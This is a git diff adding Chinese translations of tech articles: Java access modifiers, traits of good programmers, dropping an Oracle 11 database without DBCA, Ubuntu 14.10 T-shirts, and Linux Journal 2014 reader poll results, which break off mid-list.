+如果以下的这些你都知道的话,那么你比Java的了解已经超过了对一个平常的家庭主妇的了解。我不知道清楚所有的这些是否是有意义的。即使不知道其中的一些特性,你照样也可以成为一个相当不错的Java程序员。然而,本文中许多的新信息可能表明你还有很大的发展空间。 + +### Java中有四种不同的访问类型(而不是三种) ### + +这四种类型包括:`private`, package private (包访问权限,无修饰符,又叫default, 译者注)。如果你在类中定义一个元素时并不加任何访问类型修饰符,它将被默认设置为包访问权限(package private),而不是`public`或者`protected`。 + +![Java中有四种级别的访问类型](http://a3ab771892fd198a96736e50.javacodegeeks.netdna-cdn.com/wp-content/uploads/2014/11/four-levels-of-protection.png) + +*Java有四个级别的访问类型。* + +从另一方面来说,如果在接口中,你不指定方法的访问修饰符,那么它将是`public`类型的。你也可以显式地指定它为`public`类型, 但这并不符合SONAR(一个开源代码质量管理平台,译者注)的代码质量管理思想。 + +![访问类型是传递的](http://a3ab771892fd198a96736e50.javacodegeeks.netdna-cdn.com/wp-content/uploads/2014/11/protection-is-transitive.png) + +*访问类型是传递的* + +> 我的“在Java中允许选择性的在接口的方法中写`public`”的观点是一个技术错误。 + +同样你也可在接口的字段前写`final`,甚至是`static`。这说明这些字段可以是非静态或非final吗?不是的,接口中的字段中总是final和static的。 + +### Protected和package private是不一样的 ### + +Package private(或者default)访问类型可以使得相同包(package)下其他类能够访问这些字段或方法。保护类型(`protected`)的方法和字段可以被相同包下的类使用(这和package private是一样的),同时它也可以被其他类使用,只要那个类继承了这个包含这些`protected`方法或字段的类。 + +### Protected是可传递的 ### + +如果有三个包a、b、c,每个包都分别包含A、B、C类,而且B继承A,C继承B,那么C可以访问A中的protected字段和方法。 + + package a; + + public class A { + protected void a() { + + } + } + package b; + + import a.A; + + public class B extends A { + protected void b() { + a(); + } + } + package c; + + import b.B; + + public class C extends B { + protected void c() { + a(); + } + } + +### 接口不能定义protected方法 ### + +很多人认为可以在接口中定义`protected`方法。如果你这么做的话,编译器很快就会毫不留情地给你报错。顺便说下,这也就是我为什么认为允许`public`关键字在接口中是一个技术错误,它会让人觉得还可以写其他访问类型似的。 + +![Private is the new public](http://a3ab771892fd198a96736e50.javacodegeeks.netdna-cdn.com/wp-content/uploads/2014/11/private-is-the-new-public.png) + +*private是一种新的public* + +如果你还想在一个接口的方法中声明protected方法,你可能还不理解封装的含义。 + +### 此private非彼private ### + +私有变量和方法在编译单元内是可见的。如果这听起来太神秘的话,换种说法:几乎就是在同一个Java文件中。这比“在它们被定义的类中”听起来好理解些。它们在同一编译单元的类和接口中也是可见的。嵌套类可以看到类中封装的私有字段和方法。然而,当前封闭类也可以看到该类下任何深度下类中的私有方法和字段。 + + package a; + + class Private { + private class PrivateInPrivate { + private Object object; + } + + Object m() { + return new PrivateInPrivate().object; + } + } + +后者并不广为人知,事实上也很少有用到。 + +### Private是类的访问级别而不是对象 ### + +如果你可以访问一个变量或方法,那么不管它属于哪个对象你都可以访问它。如果`this.a`可以访问到,那`another.a`也可以访问到,只要它们是同一个类的实例。同一个类的实例对象可以随意调用其他实例的变量或方法。不过这样的代码一般都没有意义。现实生活中异常是`equals()`(由Eclipse生成, 15 - 18行): + + package a; + + public class PrivateIsClass { + private Object object; + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + PrivateIsClass other = (PrivateIsClass) obj; + if (object == null) { + if (other.object != null) + return false; + } else if (!object.equals(other.object)) + return false; + return true; + } + } + +###静态(static)类可能有很多实例 ### + +![Protection is not object level. It is class level.](http://a3ab771892fd198a96736e50.javacodegeeks.netdna-cdn.com/wp-content/uploads/2014/11/protection-is-class-feature.png) + +*访问类型不是对象级别的而是类级别的。* + +那些不支持有任何实例的类,通常被称为实用工具类。它们只包含静态字段和静态方法以及唯一的不被该类的任何静态方法调用的私有构造函数。在Java 8中也可以有这样的一个野兽(这个词翻译不通,译者注)在接口中实现,因为Java 8的接口可以有静态方法。我不觉得我们应该使用这个特性而不是实用工具类。我也不完全确信我们应该使用实用工具类。 + +静态类总是在另一个类或接口中。它们是嵌套类。他们是静态的,就像静态方法不能访问类的实例方法和字段一样,静态内部类也不能访问嵌入类的实例方法和字段。这是因为内部类没有嵌入类实例的引用(或者说是指针,如果你喜欢这么叫的话)。内部类(内部类,也即非静态嵌套类, 译者注),而非静态嵌套类, 没有嵌入类的一个实例,它是无法被创建的。每个内部类的实例都具有嵌入类实例的一个引用,因此一个内部类可以访问嵌入类的实例方法和字段。 + +因为这个原因,要是没有外部类的一个实例,你就不能创建一个内部类。当然,如果是当前对象,也就是`this`的话,你就可以不需要指定它。在这种情况下你可以使用`new`, 在这种情况下,也就是`this.new`的简式。在一个静态的环境中,例如从一个静态方法,你必须指定内部类应该创建哪个封闭类的实例。见第10行: + + package a; + + class Nesting { + static class Nested {} + class Inner {} + void method(){ + Inner inner = new Inner(); + } + static void staticMethod(){ + Inner inner = new Nesting().new Inner(); + } + } + +### 匿名类只能访问final变量 ### + +![Variable has to be effective final](http://a3ab771892fd198a96736e50.javacodegeeks.netdna-cdn.com/wp-content/uploads/2014/11/effective-final.png) + +*变量必须是有效的final* + +当一个匿名类被定义在一个方法中,它可以访问局部变量如果该变量是`final`的。但这说的有点模糊。它们不得不声明成final,他们还必须是有效final。这也是Java 8中发布的一些特性。你不需要声明这些变量为`final`型,但它们仍然必须是有效的`final`。 + +![Java 8 does not require final, only effective final](http://a3ab771892fd198a96736e50.javacodegeeks.netdna-cdn.com/wp-content/uploads/2014/11/java_ee_-_javabeantester_src_main_java_com_javax0_jbt_blog_java_-_eclipse_-__users_verhasp_github_javax_blog.png) + +*Java 8并不要求`final`,只要求有效final。* + +为什么你需要对一些东西声明`final`,当它被检查必须是这样的。就像方法的参数。它们也必须是`final`的。你说这不是Java所必须的吗?嗯,你是对的。这只是一个良好的编程风格所必须的。 + +-------------------------------------------------------------------------------- + +via: http://www.javacodegeeks.com/2014/11/some-sentences-about-java.html + +作者:[Peter Verhas][a] +译者:[a598799539](https://github.com/a598799539) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.javacodegeeks.com/author/peter-verhas/ diff --git a/published/201412/20141127 What Makes a Good Programmer.md b/published/201412/20141127 What Makes a Good Programmer.md new file mode 100644 index 0000000000..1987afb0f6 --- /dev/null +++ b/published/201412/20141127 What Makes a Good Programmer.md @@ -0,0 +1,65 @@ +是什么造就了一个优秀的程序员? +================================================================================ +是什么造就了一个优秀的程序员?首先问问你自己吧,这会是个有趣的问题。它让你反思自己的软件开发技术。这个问题也适合问问你的同事们。它可以带来一些关于如何协同工作的有趣讨论。下面是我认为成为一个优秀程序员必备的五个重要技能。 + +### 1. 分解问题 ### + +编程是为了解决问题,但在你开始写代码前,需要明白如何解决问题。优秀程序员的一项技能是把大的问题逐层分解成一个个更小的部分,直到每一部分都可以很容易解决。但找到解决问题的方式往往并没有那么简单。优秀程序员能找到方法去建立问题模型,这种方法使得输出结果的程序容易解释、实现和测试。 + +我写过的某些最复杂的程序在局部上都是难懂的,因为代码实现并不能很好地匹配这个问题,也就导致了编写的代码难以理解。当问题很好地建模的时候,我赞同伯尼·科赛尔所说的话(取自著名的[程序员在工作][1]中的访谈记录): + +> “……很少有本质上很难的程序。如果你盯着某一块代码,它看起来确实很难;如果你无法理解这段代码应该产生什么结果,这基本上就是暗示它很难被理解了。在这个时候,你不应该卷起袖子,尝试修复代码;你需要只是往回一步,再仔细考虑清楚。当你已经深思熟虑后,你会发现问题变得很简单”。 + +### 2. 场景分析 ### + +优秀开发者能考虑到如何使程序适合多种不同的场景。这项能力既适用于处理程序本身的逻辑,又适用于处理可能会发生的外部和内部事件。为了考虑逻辑上的不同思路,他们问自己这样的问题:如果这个参数为空会发生什么?如果所有条件都为假呢?这个方法在线程上是安全的吗?为了发现软件需要处理的各种类型的事件,他们问自己这样的问题:如果队列占满了会怎样?如果请求收不到响应会怎样?如果在这台服务器重启的同时另外一台服务器也重启了会怎样? + +优秀程序员问他们自己:如何发现程序的缺陷?换句话说,他们有能力像测试人员一样思考。相反,缺少经验的程序员通常只考虑正确的路径——在一切都按照预期进行时正常的控制流(当然这也是程序在大部分时候的情况)。当然,异常不可避免要发生,所以需要程序能处理这些情况。 + +### 3. 命名 ### + +编程由大量的命名对象组成:类、方法和变量。当编码完成得很好时,程序也具备了自我描述的能力,也就是说通过阅读源代码可以清楚地明白程序中函数的含义。自描述代码的一个好处就是很自然地产生许多更短的命名方法,而不是少数更长的方法,因为你有更多空间去放置有意义的名字(还有[其它原因][2]解释为什么短小方法更好)。 + +想出好的名字比它听起来更困难一些。我喜欢这段引用(来自菲尔·卡尔顿):“在计算机科学领域只有两件困难的事情:缓存失效和命名对象。”命名在一定程度上很困难是因为你需要清楚地明白每一个名字究竟要代表什么。有时候命名不是一下子就清晰明了,只有随着软件开发进展才会慢慢显现。因此,重命名和命名一样重要。 + +命名对象也包含提出要用的概念和这些概念该如何称呼。通过深思熟虑,清楚命名所使用的惯用概念(在程序中和与程序员、非程序员讨论时使用),这使得编写程序变得更加容易。 + +### 4. 一致性 ### + +也许编程中最大的挑战是管理复杂性。保持一致性是处理复杂性的一种方法。它通过允许我们看到对象命名、使用和处理所采用的模式和推理来降低了某些复杂性。有了一致性,我们就无需用脑去记住异常和随机变量。取而代之,我们可以更关注[程序本身的复杂性,而不是偶然产生的复杂性][3]。 + +保持一致性从整体看来是很重要的。它应用在变量名字和分组、方法命名、模块划分、目录结构、GUI、错误处理、日志输出和文档等很多方面。比如,如果某些变量是的相关,并一起出现(在声明、方法调用或数据库中的列),而且总是以相同的顺序使用它们。那么当其中一个消失或者整体被打乱时,你就会很容易发现。对于一个操作,如果在一个地方叫delete,就不要在另一个地方叫remove:务必使用相同的名字。史蒂夫·麦克奈尔在[代码大全][4]中对于使用相反命名有相同的建议。比如,begin和end是相反的,就如同start和stop一样。当使用相反对时不要混用不同对的名字(比如使用begin和stop)。 + +当修改一段程序时可能会引入非一致性。粗心大意的程序员不会注意到他们添加的代码是否和已有的代码保持一致。优秀程序员会严苛地确保在这些看似很小的细节上都要做到精益求精。他们知道保持一致性对于在软件开发的整个过程中处理复杂性是多么的重要。 + +### 5. 学习能力 ### + +作为一名软件开发者,你需要持续学习。在为软件添加一项新功能前,你必须明白为什么要这么做。在给一个已有程序添加代码前,你通常必须知道已有代码在做什么,以便合适地嵌入新功能。你还需要学习相关系统,以便正确地与它们交互。因此,快速学习的能力使你成为一名更加高效的开发者。 + +而且,因为软件工程领域的开发速度是如此的快速,所以新的编程语言、工具、技术和框架需要学习层出不穷。这是好还是坏,就看你怎么看。佛瑞德·布鲁克斯把学习能力列为[技能的快乐之一][5],对此我深表赞同。学习新事物本身就是令人心满意足的,它也意味着开发者的生活从不无聊。 + +### 总结 ### + +上面所有的技能都是通用的——它们中没有一项是针对某种语言、某个框架或某种技术。如果你拥有它们,你就能快速学习一门新的语言或工具,在新的环境下写出优秀的软件。而且,因为它们在本质上是通用的,所以不会在若干年以后过时。 + +是什么造就了一个优秀的程序员?以上便是我的观点。你认为造就一个优秀程序员的因素有哪些?在评论里告诉我吧。 + +-------------------------------------------------------------------------------- + +via: http://henrikwarne.com/2014/06/30/what-makes-a-good-programmer/ + +作者:[Henrik Warne][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://henrikwarne.com/about/ +[1]:http://www.amazon.com/review/R2OV0TG7MJGXGL +[2]:http://henrikwarne.com/2013/08/31/7-ways-more-methods-can-improve-your-program/ +[3]:http://faculty.salisbury.edu/~xswang/Research/Papers/SERelated/no-silver-bullet.pdf +[4]:http://www.amazon.com/review/R269BBARXH1V6R/ +[5]:http://henrikwarne.com/2012/06/02/why-i-love-coding/ + + + diff --git a/published/201412/20141204 How To Drop Database In Oracle 11 Without Using DBCA.md b/published/201412/20141204 How To Drop Database In Oracle 11 Without Using DBCA.md new file mode 100644 index 0000000000..3083c70e0a --- /dev/null +++ b/published/201412/20141204 How To Drop Database In Oracle 11 Without Using DBCA.md @@ -0,0 +1,74 @@ +如何不使用DBCA在Oracle 11中删除数据库 +================================================================================ +本文简短的教程,将会向你展示如何不使用DBCA(数据库配置助手)在Oracle 11中删除数据库。 + +#### 1- 导入数据库的SID,如果没有定义的话 #### + + export ORACLE_SID=database + +#### 2- 以操作系统认证连接数据库 #### + + [oracle@Oracle11 ~]$ sqlplus / as sysdba + + SQL*Plus: Release 11.2.0.1.0 Production on Mon Dec 1 17:38:02 2014 + Copyright (c) 1982, 2009, Oracle. All rights reserved. + Connected to an idle instance. + +#### 3- 启动数据库实例 #### + + SQL> startup + + ORACLE instance started. + Total System Global Area 3340451840 bytes + Fixed Size 2217952 bytes + Variable Size 1828718624 bytes + Database Buffers 1493172224 bytes + Redo Buffers 16343040 bytes + Database mounted. + Database opened. + +#### 4- 关闭数据库 #### + + SQL> shutdown immediate; + + Database closed. + Database dismounted. + ORACLE instance shut down. + +#### 5- 启动独占模式 #### + + SQL> startup mount exclusive restrict + + ORACLE instance started. + + Total System Global Area 3340451840 bytes + Fixed Size 2217952 bytes + Variable Size 1828718624 bytes + Database Buffers 1493172224 bytes + Redo Buffers 16343040 bytes + Database mounted. + +#### 6- 删除数据库 #### + + SQL> drop database; + + + Database dropped. + + + Disconnected from Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production + With the Partitioning, OLAP, Data Mining and Real Application Testing options + +完成! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/drop-database-oracle-11-without-using-dcba/ + +作者:[M.el Khamlichi][a] +译者:[VicYu/Vic020](http://vicyu.net/) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/pirat9/ diff --git a/published/201412/20141204 Official Ubuntu 14.10 Utopic Unicorn T-Shirts Now Available to Buy.md b/published/201412/20141204 Official Ubuntu 14.10 Utopic Unicorn T-Shirts Now Available to Buy.md new file mode 100644 index 0000000000..4f5c49949d --- /dev/null +++ b/published/201412/20141204 Official Ubuntu 14.10 Utopic Unicorn T-Shirts Now Available to Buy.md @@ -0,0 +1,34 @@ +Ubuntu 14.10 ‘乌托邦的独角兽’官方 T 恤开始发售 +================================================================================ +![ubuntu-tshirt-runner](http://www.omgubuntu.co.uk/wp-content/uploads/2014/12/ubuntu-tshirt-runner.jpg) + +**Ubuntu 14.10 发布以来,很少能见到随同发布的带有官方吉祥物的 T 恤。不过今天 Canonical 商店终于上架了这件粉丝喜欢的商品。** + +现在有两种T恤,一种是‘dusk blue’(男士版本)或者‘hot pink’(女士版本),但是审美与设计的形式是相同的。每种T恤印有由Canonical定制设计的折纸型的‘乌托邦的独角兽’。每件衬衫的背面是Ubuntu的标识以及含有“Utopic Unicorn 14.10”文字,从前到后帮你推广系统-我喜欢! + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/12/unicorn-t-shirt.jpg) + +男士的尺寸有从S到XXL, 女士的尺寸有8-10与14-16,每件T恤在英国的价格是£11,美国的价格是$17.45,欧洲的价格是$17.45。这个价格较往年高一点,与以往一样这是减去了运费和包装的费用。 + +- [购买男士的 Ubuntu 14.10 T恤][1] + +- [购买女士的 Ubuntu 14.10 T恤][2] + +吉祥物 T 恤已经成为自Ubuntu 8.04 Hardy Heron后每个Ubuntu版本发布的传统,虽然它一般在系统发布前发布。 + +如果你不是特定版本的粉丝,你会发现可以购买的老版本吉祥物商品的数量有限且降价出售。如果你想在你的衬衫上印一条蝾螈,推广穿山甲或者塔尔羊,可以在[出售页面][3]看看。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/12/last-ubuntu-14-10-unicorn-t-shirts-now-available + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://shop.canonical.com/product_info.php?products_id=1153 +[2]:http://shop.canonical.com/product_info.php?products_id=1159 +[3]:http://shop.canonical.com/index.php?cPath=29 \ No newline at end of file diff --git a/published/201412/20141204 Readers' Choice Awards 2014--Linux Journal.md b/published/201412/20141204 Readers' Choice Awards 2014--Linux Journal.md new file mode 100644 index 0000000000..5037ee5d8e --- /dev/null +++ b/published/201412/20141204 Readers' Choice Awards 2014--Linux Journal.md @@ -0,0 +1,548 @@ +Linux Journal杂志2014读者选择奖 +================================================================================ +又到了Linux Journal杂志刊发2014读者选择奖的时候了!鉴于去年的形式好评如潮,因此我们仍沿续旧年格式,让你的意见再次得到回响。虽然有些地方我们会稍加评论,不过基本上还是以报道结果为主。以下敬请欣赏本年度读者选择奖名单! + +我们希望读者选择奖一年好似一年。如果你对新分类有任何建议,或者有任何评价与反馈,都可以通过以下方式联系我们:[http://www.linuxjournal.com/contact][1] + +如欲了解完整获奖名单,请查阅本杂志2014年12月刊。 + +### 最佳Linux发行版 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f1.jpg) + +虽然本年度基于Debian/Ubuntu的发行版获得最多票数,但“最佳Linux发行版”分类有点类似于“最好吃的比萨”--就算得票垫底,但它仍算是比萨呀!选择Linux不会错的,而投票之五花八门,恰恰呈现出开源世界里的选择多样性。 + +- Ubuntu 16.5% +- Debian 16.4% +- Linux Mint 11% +- Arch Linux 8.5% +- Fedora 8.3% +- CentOS 6% +- openSUSE 5.3% +- Kubuntu 4.1% +- Gentoo 2.9% +- Slackware 2.7% +- Xubuntu 2.5% +- 其它 2.3% +- Red Hat Enterprise Linux 1.6% +- NixOS 1.4% +- elementary OS 1.3% +- Lubuntu 1.2% +- CrunchBang 1% +- Mageia .7% +- LXLE .4% +- Tails .4% +- Android-x86 .3% +- Bodhi Linux .3% +- Chakra .3% +- Kali Linux .3% +- PCLinuxOS .3% +- SolydK .3% +- Mandriva .1% +- Oracle Linux .1% + + +### 最佳Linux移动系统 ### + +安卓在移动领域是如此的举足轻重,所以我们决定让安卓的各种版本独立参与投票。因此,尽管以下系统本质上属于安卓,但我们仍沿用其名而不改称安卓,因为这样更加一目了然。 + +- Stock Android 37.1% +- Sailfish OS 27.6% +- CyanogenMod 20.2% +- 其它 3% +- Ubuntu Phone 3% +- Amazon Fire OS 1.5% +- Ubuntu for Android 1.4% +- Replicant .8% +- Tizen .8% + +### 最佳Linux智能手机厂商 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f3.jpg) + +- Samsung 29% +- Jolla 26.7% +- Nexus 16.5% +- 其它 7.1%* +- HTC 7% +- LG 5.3% +- Sony 3.7% +- Nokia 1.8% +- Huawei 1.4% +- GeeksPhone 1% +- Amazon .6% + +*在"其它"当中,摩托罗拉获得最多提名,其次是一加。 + +### 最佳Linux平板 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f4.jpg) + +- Google Nexus 7 35.3% +- Google Nexus 10 14.8% +- Samsung Galaxy Tab 14% +- Samsung Galaxy Note 9.8% +- ASUS Transformer Pad 8.4% +- 其它 6.4% +- Kindle Fire HD 4.7% +- ASUS MeMO Pad 2% +- Dell Venue 1.6% +- Acer Iconia One 1.4% +- Samsung Galaxy Note Edge .9% +- Ekoore Python S3 .7% + + +### 最佳基于Linux的其它配件(不含智能手机或平板)### + +我们是一群树莓派粉,如假包换!不过说真的,这怎么能怪我们呢?树莓派又出了新款B+,让原本就美妙绝伦的树莓派愈发的标致可人。并非我有未卜先知之功,但我对明年的冠军早就心中有数了。 + +- Raspberry Pi 71.4% +- BeagleBone Black 8.1% +- 其它 4.3%* +- Lego Mindstorms Ev3 3.7% +- Moto 360 3.4% +- Cubieboard 1.7% +- Parrot A.R Drone 1.7% +- Samsung Gear S 1.4% +- Yamaha Motif XF8 1.1% +- Nvidia Jetson-K1 Development System .8% +- Cloudsto EVO Ubuntu Linux Mini PC .5% +- VoCore Open Hardware Computer .5% +- LG G Watch .4% +- RaZberry .4% +- VolksPC .4% +- IFC6410 Pico-ITX Board .2% +- JetBox 5300 .1% + + +*在“其它”当中,提名最多是Odroid与CuBox。 + +### 最佳笔记本厂商 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/lenovo.jpg) + +本分类原本用于评价哪个厂商对Linux最花心思,不过谢天谢地,如今大多数笔记本运行起Linux来还是相当不错的。因此无需我们将重点放在“嗯,这台能运行Linux”这种问题上面,而可以切切实实地看到精华之作。把眼光放长远些。 + +- Lenovo 32% +- ASUS 19.3% +- Dell 18.5% +- System76 10.6% +- 其它 7.9%* +- Acer 4.5% +- ThinkPenguin 1.9% +- LinuxCertified 1.8% +- ZaReason 1.6% +- EmperorLinux 1.5% +- CyberPower .3% +- Eurocom .1% + + +*在“其它”当中,提名最多的(依次)是运行Linux的苹果、惠普、东芝以及三星。 + +### 最佳内容管理系统 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f6.jpg) + +- WordPress 34.7% +- Drupal 25.3% +- Joomla! 11.1% +- MediaWiki 10.5% +- 其它 10%* +- Alfresco 4.3% +- WebGUI 1.3% +- ikiwiki 1.1% +- eZ publish .7% +- Wolf CMS .4% +- Elgg .3% +- Blosxom .2% + + +*在“其它”当中,提名最多的(依次)是DokuWiki, Plone, Django 以及 Typo3。 + +### 最佳对Linux友好的虚拟主机公司 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/question.jpg) + +提到虚拟主机,这年头要找到不对Linux友好的公司那是相当之难。事实上,要找到一家提供Windows的主机服务商才是一种挑战。这一类别的冠军(“其它”)就显而易见的说明了这一问题,或许设一个“最差虚拟主机”分类更加有用! + +- 其它 22.8%* +- Amazon 22.5% +- Rackspace 13.1% +- Linode 10.4% +- GoDaddy.com 6.5% +- OVH 5.6% +- DreamHost 5.4% +- 1&1 4.8% +- LAMP Host 2.9% +- Hurricane Electric 2.6% +- Liquid Web .6% +- RimuHosting .6% +- Host Media .5% +- Savvis .5% +- Blacknight Solutions .4% +- Netfirms .4% +- Prgmr .4% + + +*在“其它”当中,提名最多的(依次)是Digital Ocean (压倒性优势), Hetzner, BlueHost 以及 WebFaction。 + +### 最佳浏览器 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f7.jpg) + +Firefox显著优势拨得今年的头筹。即使以Chrome加Chromium计算,Firefox仍位居榜首。我们曾经担心,Firefox死忠会悄然流失,不过还好,Firefox依然宝马未老,仍是一款快速、可行以及兼容度极佳的浏览器。 + +- Firefox 53.8% +- Chrome 26.9% +- Chromium 8.1% +- Iceweasel 4% +- Opera 3% +- 其它 2% +- SeaMonkey .8% +- rekonq .5% +- dwb .4% +- QupZill .4% +- Dillo .2% + + +### 最佳电邮客户端### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f8.jpg) + +如果我没有亲身了解到身边有多少铁杆极客粉的话,我也许会指责Kyle Rankin投票有作弊嫌疑。他的最爱--Mutt电邮客户端并未登顶,但是对于一个没有图形界面的程序来说,获得第三名也算是个比较骄人的成绩了。 + +- Mozilla Thunderbird 44.4% +- Gmail 24.7% +- Mutt 6.8% +- Evolution 5.5% +- KMail 5.3% +- 其它 3.2% +- Claws Mail 2.2% +- Zimbra 2% +- Alpine 1.8% +- Geary 1.7% +- SeaMonkey 1% +- Opera Mail .9% +- Sylpheed .4% + + +### 最佳音频编辑工具### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f9.jpg) + +- Audacity 69.1% +- FFmpeg 10.8% +- VLC 9.7% +- Ardour 4.9% +- 其它 1.9% +- SoX 1.3% +- Mixxx 1.1% +- LMMS .7% +- Format Junkie .5% + +### 最佳音频播放器 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f10.jpg) + +VLC登上视频播放器分类的榜首(见下文)应该是毫无悬念的,但让人大跌眼镜的是,它居然在音频播放器分类中也有不俗的成绩。或许它可以考虑成为一站式媒体播放器。不管怎样,我们都乐见其取得好成绩。 + +- VLC 25.2% +- Amarok 15.3% +- Rhythmbox 10.4% +- Clementine 8.6% +- MPlayer 6.1% +- Spotify 5.9% +- Audacious 5.5% +- Banshee 4.6% +- 其它 4%* +- XBMC 3.1% +- foobar2000 3% +- Xmms 2.4% +- DeaDBeeF 1.2% +- MOC .9% +- cmus .8% +- Ncmpcpp .8% +- Guayadeque .6% +- Mixxx .4% +- MPC-HC .4% +- Subsonic .4% +- Nightingale .3% +- Decibel Audio Player .2% + + +*在"其它"当中,Quod Libet获得最多提名。 + +### 最佳视频播放器 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f10_0.jpg) + +- VLC 64.7% +- MPlayer 14.5% +- XBMC 6.4% +- Totem 2.7% +- 其它 2.7%* +- Plex 2% +- Kaffeine 1.9% +- mpv 1.6% +- MythTV 1.6% +- Amarok 1.4% +- Xmms .3% +- Daum Potplayer .2% +- Clementine .1% + + +*在“其它”当中,提名最多是SMPlayer。 + +### 最佳视频编辑器 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f10_1.jpg) + +再次证明了我们的读者群深具极客色彩。我们未指定“非线性编辑器”,因此就转码技术而言,VLC在视频编辑类别中勉强获胜。干得好,VLC,干得好! + +- VLC 17.5% +- Kdenlive 16.4% +- Blender 15.1% +- Avidemux 13.2% +- OpenShot 13.2% +- Cinelerra 7.5% +- PiTiVi 4.9% +- LightWorks 4.8% +- 其它 4.7% +- LiVES 1.4% +- Shotcut .6% +- Jahshaka .4% +- Flowblade .4% + + +### 最佳云存储 ### + +[](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f11.jpg) + +- Dropbox 30.5% +- ownCloud 23.6% +- Google Drive 16% +- rsync 8.3% +- 其它 7.5%* +- Amazon S3 6.6% +- SpiderOak 4.4% +- Box 1.8% +- Copy 1% +- AjaXplorer .3% + + +Dropbox在这一领域曾经独步天下,几无对手,虽然这次仍为头魁,但优势已经不那么明显了。Dropbox的方便与稳定无可否认,但是将你的宝贵数据托管在ownCloud上,可管可控,也让ownCloud登上第二名的宝座。 + +*在“其它”当中,提名最多是 Younited 与 MEGA。当然很多人可能会说“非万不得已时不会选择云存储/我的文件都是存在本地”。 + +### 最佳Linux游戏 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/CIVILIZATION-V-FRONT-OF-BOX.jpg) + +我很少玩游戏,所以每年我都特期待这一类别排名,希望可以从中找到最受欢迎的游戏,以供闲暇之需。看到NetHack排名这么靠前,我倒觉得挺开心的,尤其是在联想到竞争对手后更是心满意足。徘徊在让我们这些老派的龙与地下城玩家痴迷的随机通道确实有点意思。 + +- Civilization 5 26.5% +- 其它 23.5%* +- Team Fortress 2 8.7% +- NetHack 8.4% +- X-Plane 10 7.1% +- Dota 6.1% +- Bastion 5.4% +- Scorched 3D 3.7% +- Destiny 3.6% +- Ultima IV 1.9% +- FreeCol 1.8% +- Kpat 1.4% +- FreeOrion 1.1% +- Ryzom .9% + +*在“其它”当中,提名最多的(依次)是Minecraft, 0 A.D., Frozen Bubble, Battle for Wesnoth, Portal 以及 Counter Strike。 + +### 最佳虚拟方案 ### + +我认为与Vagrant的关系大大带动了Oracle旗下VirtualBox的普及。当然,Vagrant也与其它虚拟平台合作,但自从其与VirtualBox无缝结合后,我认为对VirtualBox是极大提升。虚拟化实现系统是如此的高效与可靠,从裸机开始重构系统的方案几近历史。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/Virtualbox_logo_0.jpg) + +- Oracle VM VirtualBox 33.4% +- VMware 22.3% +- KVM 21.1% +- XEN 5.7% +- QEMU 5.3% +- OpenStack 4.9% +- 其它 4.2%* +- OpenVZ 1.7% +- Linux-VServer 1.3% +- Symantec Workspace Virtualization .1% + + +*在“其它”当中,提名最多的依次是Docker, ProxMox 与 LXC。 + +### 最佳监控应用 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/Nagios-Core-4.0.8.png) + +- Nagios 27.1% +- Wireshark 20.7% +- htop 12.3% +- Zabbix 10.5% +- 其它 8.6%* +- Zenoss 6.2% +- Munin 3.4% +- PC Monitor 2.8% +- New Relic 1.9% +- Opsview 1.2% +- SaltStack 1% +- NTM (Network Traffic Monitor) .7% +- xosview .7% +- Manage Engine .5% +- FlowViewer .3% +- Circonus .2% +- SysPeek .2% + +*在“其它”当中,提名最多是Icinga 与 OpenNMS。 + +### 最佳开发运维配置管理工具### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/Git-Logo-2Color.jpg) + +Git能拿到本类别第一名倒是蛮有趣的,虽然针对配置文件使用标准版本控制工具当然无可厚非,但我总觉得它应该配合Chef或Puppet一起使用。至少开发运维(DevOps)让我们这些执拗的老派系统管理员象对待代码一样处理配置文件。版本控制真令人难以置信,这一点似乎绝大多数读者均无异议。 + +- Git 39.4% +- Puppet 17.2% +- Ansible 8.9% +- cron jobs 8.8% +- Subversion 7.6% +- Chef 5% +- SaltStack 